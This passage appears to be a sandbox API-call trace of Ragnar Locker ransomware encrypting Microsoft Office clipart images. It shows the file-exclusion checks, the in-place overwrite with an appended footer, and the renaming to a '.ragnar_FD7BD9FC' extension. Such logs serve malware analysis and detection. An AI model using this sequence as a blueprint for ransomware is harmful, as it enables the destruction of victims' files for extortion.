dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x10bdc, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0087.922] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0087.923] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x10bdc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.923] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0087.923] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0087.923] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0087.923] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0087.923] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0087.923] GetProcessHeap () returned 0x580000 [0087.923] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0087.923] CloseHandle (hObject=0xf4) returned 1 [0087.923] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382836.JPG" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382836.JPG") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382836.JPG" [0087.923] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382836.JPG", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382836.JPG.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382836.JPG.ragnar_FD7BD9FC" [0087.923] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382836.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382836.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382836.JPG.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382836.jpg.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0087.924] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56798470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1ce5a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0382925.JPG", cAlternateFileName="")) returned 1 [0087.924] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0087.924] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0382925.JPG" | out: lpString1="J0382925.JPG") returned="J0382925.JPG" [0087.924] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382925.JPG") returned=".JPG" [0087.924] lstrcmpiW (lpString1="J0382925.JPG", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0087.924] lstrcmpiW (lpString1="J0382925.JPG", lpString2="autorun.inf") returned 1 [0087.924] lstrcmpiW (lpString1="J0382925.JPG", lpString2="boot.ini") returned 1 [0087.924] lstrcmpiW (lpString1="J0382925.JPG", lpString2="bootfont.bin") returned 1 [0087.924] lstrcmpiW (lpString1="J0382925.JPG", lpString2="bootsect.bak") returned 1 [0087.924] lstrcmpiW (lpString1="J0382925.JPG", lpString2="bootmgr") returned 1 [0087.924] lstrcmpiW (lpString1="J0382925.JPG", lpString2="bootmgr.efi") returned 1 [0087.924] lstrcmpiW (lpString1="J0382925.JPG", lpString2="bootmgfw.efi") returned 1 [0087.924] lstrcmpiW (lpString1="J0382925.JPG", lpString2="desktop.ini") returned 1 [0087.924] lstrcmpiW (lpString1="J0382925.JPG", lpString2="iconcache.db") returned 1 [0087.924] lstrcmpiW (lpString1="J0382925.JPG", lpString2="ntldr") returned -1 [0087.924] lstrcmpiW (lpString1="J0382925.JPG", lpString2="ntuser.dat") returned -1 [0087.925] lstrcmpiW (lpString1="J0382925.JPG", lpString2="ntuser.dat.log") returned -1 [0087.925] lstrcmpiW (lpString1="J0382925.JPG", lpString2="ntuser.ini") returned -1 [0087.925] lstrcmpiW (lpString1="J0382925.JPG", lpString2="thumbs.db") returned -1 [0087.925] lstrcmpiW (lpString1=".JPG", lpString2=".db") returned 1 [0087.925] lstrcmpiW (lpString1=".JPG", lpString2=".sys") returned -1 [0087.925] lstrcmpiW (lpString1=".JPG", lpString2=".dll") returned 1 [0087.925] lstrcmpiW (lpString1=".JPG", lpString2=".lnk") returned -1 [0087.925] lstrcmpiW (lpString1=".JPG", lpString2=".msi") returned -1 [0087.925] lstrcmpiW (lpString1=".JPG", lpString2=".drv") returned 1 [0087.925] lstrcmpiW (lpString1=".JPG", lpString2=".exe") returned 1 [0087.925] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382925.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382925.jpg")) returned 0x20 [0087.925] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382925.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382925.jpg"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0087.925] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=118362) returned 1 [0087.925] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1ce51, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.925] GetProcessHeap () returned 0x580000 [0087.925] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0087.925] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0087.927] VirtualAlloc (lpAddress=0x0, dwSize=0x1ce5a, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0087.927] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.927] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0087.927] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1ce5a, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1ce5a, lpOverlapped=0x0) returned 1 [0087.930] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0087.931] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1ce5a, nNumberOfBytesToLockHigh=0x0) returned 1 [0087.931] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1ce5a, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1ce5a, lpOverlapped=0x0) returned 1 [0087.931] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1ce5a, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0087.931] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0087.932] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1ce5a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.932] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0087.932] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0087.932] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0087.932] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0087.933] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0087.933] GetProcessHeap () returned 0x580000 [0087.933] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0087.933] CloseHandle (hObject=0xf4) returned 1 [0087.933] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382925.JPG" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382925.JPG") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382925.JPG" [0087.933] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382925.JPG", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382925.JPG.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382925.JPG.ragnar_FD7BD9FC" [0087.933] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382925.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382925.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382925.JPG.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382925.jpg.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0087.933] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x661aebd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1672c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0382926.JPG", cAlternateFileName="")) returned 1 [0087.933] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0087.934] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0382926.JPG" | out: lpString1="J0382926.JPG") returned="J0382926.JPG" [0087.934] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382926.JPG") returned=".JPG" [0087.934] lstrcmpiW (lpString1="J0382926.JPG", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0087.934] lstrcmpiW (lpString1="J0382926.JPG", lpString2="autorun.inf") returned 1 [0087.934] lstrcmpiW (lpString1="J0382926.JPG", lpString2="boot.ini") returned 1 [0087.934] lstrcmpiW (lpString1="J0382926.JPG", lpString2="bootfont.bin") returned 1 [0087.934] lstrcmpiW (lpString1="J0382926.JPG", lpString2="bootsect.bak") returned 1 [0087.934] lstrcmpiW (lpString1="J0382926.JPG", lpString2="bootmgr") returned 1 [0087.934] lstrcmpiW (lpString1="J0382926.JPG", lpString2="bootmgr.efi") returned 1 [0087.934] lstrcmpiW (lpString1="J0382926.JPG", lpString2="bootmgfw.efi") returned 1 [0087.934] lstrcmpiW (lpString1="J0382926.JPG", lpString2="desktop.ini") returned 1 [0087.934] lstrcmpiW (lpString1="J0382926.JPG", lpString2="iconcache.db") returned 1 [0087.934] lstrcmpiW (lpString1="J0382926.JPG", lpString2="ntldr") returned -1 [0087.934] lstrcmpiW (lpString1="J0382926.JPG", lpString2="ntuser.dat") returned -1 [0087.934] lstrcmpiW (lpString1="J0382926.JPG", lpString2="ntuser.dat.log") returned -1 [0087.934] lstrcmpiW (lpString1="J0382926.JPG", lpString2="ntuser.ini") returned -1 [0087.934] lstrcmpiW (lpString1="J0382926.JPG", lpString2="thumbs.db") returned -1 [0087.934] lstrcmpiW (lpString1=".JPG", lpString2=".db") returned 1 [0087.934] lstrcmpiW (lpString1=".JPG", lpString2=".sys") returned -1 [0087.934] lstrcmpiW (lpString1=".JPG", lpString2=".dll") returned 1 [0087.934] lstrcmpiW (lpString1=".JPG", lpString2=".lnk") returned -1 [0087.934] lstrcmpiW (lpString1=".JPG", lpString2=".msi") returned -1 [0087.934] lstrcmpiW (lpString1=".JPG", lpString2=".drv") returned 1 [0087.934] lstrcmpiW (lpString1=".JPG", lpString2=".exe") returned 1 [0087.934] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382926.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382926.jpg")) returned 0x20 [0087.934] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382926.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382926.jpg"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0087.935] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=91948) returned 1 [0087.935] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x16723, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.935] GetProcessHeap () returned 0x580000 [0087.935] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0087.935] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0087.937] VirtualAlloc (lpAddress=0x0, dwSize=0x1672c, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0087.937] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.937] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0087.937] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1672c, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1672c, lpOverlapped=0x0) returned 1 [0087.939] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0087.940] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1672c, nNumberOfBytesToLockHigh=0x0) returned 1 [0087.940] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1672c, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1672c, lpOverlapped=0x0) returned 1 [0087.940] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1672c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0087.940] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0087.941] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1672c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.941] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0087.941] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0087.941] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0087.941] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0087.941] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0087.941] GetProcessHeap () returned 0x580000 [0087.941] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0087.941] CloseHandle (hObject=0xf4) returned 1 [0087.941] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382926.JPG" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382926.JPG") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382926.JPG" [0087.941] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382926.JPG", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382926.JPG.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382926.JPG.ragnar_FD7BD9FC" [0087.941] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382926.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382926.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382926.JPG.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382926.jpg.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0087.942] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x661aebd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1f86c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0382927.JPG", cAlternateFileName="")) returned 1 [0087.942] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0087.942] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0382927.JPG" | out: lpString1="J0382927.JPG") returned="J0382927.JPG" [0087.942] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382927.JPG") returned=".JPG" [0087.942] lstrcmpiW (lpString1="J0382927.JPG", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0087.942] lstrcmpiW (lpString1="J0382927.JPG", lpString2="autorun.inf") returned 1 [0087.942] lstrcmpiW (lpString1="J0382927.JPG", lpString2="boot.ini") returned 1 [0087.942] lstrcmpiW (lpString1="J0382927.JPG", lpString2="bootfont.bin") returned 1 [0087.942] lstrcmpiW (lpString1="J0382927.JPG", lpString2="bootsect.bak") returned 1 [0087.942] lstrcmpiW (lpString1="J0382927.JPG", lpString2="bootmgr") returned 1 [0087.942] lstrcmpiW (lpString1="J0382927.JPG", lpString2="bootmgr.efi") returned 1 [0087.942] lstrcmpiW (lpString1="J0382927.JPG", lpString2="bootmgfw.efi") returned 1 [0087.942] lstrcmpiW (lpString1="J0382927.JPG", lpString2="desktop.ini") returned 1 [0087.943] lstrcmpiW (lpString1="J0382927.JPG", lpString2="iconcache.db") returned 1 [0087.943] lstrcmpiW (lpString1="J0382927.JPG", lpString2="ntldr") returned -1 [0087.943] lstrcmpiW (lpString1="J0382927.JPG", lpString2="ntuser.dat") returned -1 [0087.943] lstrcmpiW (lpString1="J0382927.JPG", lpString2="ntuser.dat.log") returned -1 [0087.943] lstrcmpiW (lpString1="J0382927.JPG", lpString2="ntuser.ini") returned -1 [0087.943] lstrcmpiW (lpString1="J0382927.JPG", lpString2="thumbs.db") returned -1 [0087.943] lstrcmpiW (lpString1=".JPG", lpString2=".db") returned 1 [0087.943] lstrcmpiW (lpString1=".JPG", lpString2=".sys") returned -1 [0087.943] lstrcmpiW (lpString1=".JPG", lpString2=".dll") returned 1 [0087.943] lstrcmpiW (lpString1=".JPG", lpString2=".lnk") returned -1 [0087.943] lstrcmpiW (lpString1=".JPG", lpString2=".msi") returned -1 [0087.943] lstrcmpiW (lpString1=".JPG", lpString2=".drv") returned 1 [0087.943] lstrcmpiW (lpString1=".JPG", lpString2=".exe") returned 1 [0087.943] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382927.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382927.jpg")) returned 0x20 [0087.943] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382927.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382927.jpg"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0087.943] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=129132) returned 1 [0087.943] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1f863, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.944] GetProcessHeap () returned 0x580000 [0087.944] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0087.944] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0087.945] VirtualAlloc (lpAddress=0x0, dwSize=0x1f86c, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0087.945] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.945] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0087.945] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1f86c, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1f86c, lpOverlapped=0x0) returned 1 [0087.949] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0087.949] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1f86c, nNumberOfBytesToLockHigh=0x0) returned 1 [0087.949] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1f86c, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1f86c, lpOverlapped=0x0) returned 1 [0087.950] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1f86c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0087.950] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0087.950] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1f86c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.951] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0087.951] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0087.951] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: 